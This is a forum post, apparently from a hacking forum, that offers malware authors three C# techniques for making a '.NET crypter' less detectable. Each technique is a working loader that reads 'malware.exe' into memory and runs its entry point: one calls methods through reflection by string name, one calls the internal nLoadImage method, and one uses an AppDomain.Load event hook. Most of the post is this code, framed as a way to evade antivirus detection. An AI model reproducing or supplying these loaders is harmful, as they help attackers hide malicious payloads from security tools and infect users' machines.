Mar 21, 2017 02:16 PM
(This post was last modified: Mar 21, 2017 02:22 PM by gigajew.)
Is your .NET crypter getting detected? Is it the old Assembly.Load and EntryPoint.Invoke calls? Man, I wish there were other ways to call them. Oh wait, there are! Here are some ways to invoke assemblies, without directly calling Assembly.Load (IL level, not memory level). Unless you are using a .NET compatible RunPE (ahem, Menalix), this could be useful for you.
![[Image: GnYQExY.png]](https://i.imgur.com/GnYQExY.png)
Method one
Using reflection to call methods by string name.
Method Two
Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)
(You may have to investigate the parameter usage for .NET 2.0 - 3.5, this works in .NET 4.0 afaik
Method three
Using the AppDomain.Load method
There are some more ways to do this, and I may post them here later. Thanks for reading.
![[Image: GnYQExY.png]](https://i.imgur.com/GnYQExY.png)
Method one
Using reflection to call methods by string name.
Code
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
namespace pg1 {
public static class Program {
public static void Main() {
var filename = "malware.exe";
var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as Assembly;// or (Assembly)...
Call(typeof(Program), "InvokeEntrypoint", assembly);
}
public static void InvokeEntrypoint(Assembly asm) {
asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
}
//Calls method using reflection, instead of directly
public static object Call(Type space, string name, params object[] argv) {
List<Type> ptyp = new List<Type>();
foreach(var o in argv) {
ptyp.Add(o.GetType());
}
var m = space.GetMethod(name, ptyp.ToArray());
return m.Invoke(null, argv);
}
}
}Method Two
Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)
(You may have to investigate the parameter usage for .NET 2.0 - 3.5, this works in .NET 4.0 afaik
Code
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
namespace pg1 {
public static class Program {
public static void Main() {
/*
Get the malware data
*/
var data = System.IO.File.ReadAllBytes("malware.exe");
/*
Invoke the internal method _nLoad
*/
var assembly = InternalLoad(data);
/*
Execute
*/
InvokeEntrypoint(assembly);
}
public static Assembly InternalLoad(byte[] image) {
return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false, null }) as Assembly;
}
public static void InvokeEntrypoint(Assembly asm) {
asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
}
}
}Method three
Using the AppDomain.Load method
Code
using System;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
namespace pg1 {
public static class Program {
public static void Main() {
var data = System.IO.File.ReadAllBytes("malware.exe");
SetupInvoker(); //call only once, invokes the entrypoint
var assembly = AppDomainLoad(data);
}
public static void SetupInvoker() {
AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender, AssemblyLoadEventArgs args) {
InvokeEntrypoint(args.LoadedAssembly);
};
}
public static Assembly AppDomainLoad(byte[] image) {
return AppDomain.CurrentDomain.Load(image);
}
public static void InvokeEntrypoint(Assembly asm) {
asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
}
}
}There are some more ways to do this, and I may post them here later. Thanks for reading.
![[Image: Syr3DlV.png]](https://i.imgur.com/Syr3DlV.png)




![[Image: logo.gif]](https://datap.pro/threadimage/logo.gif)
![[Image: PVoDiqS.png]](https://i.imgur.com/PVoDiqS.png)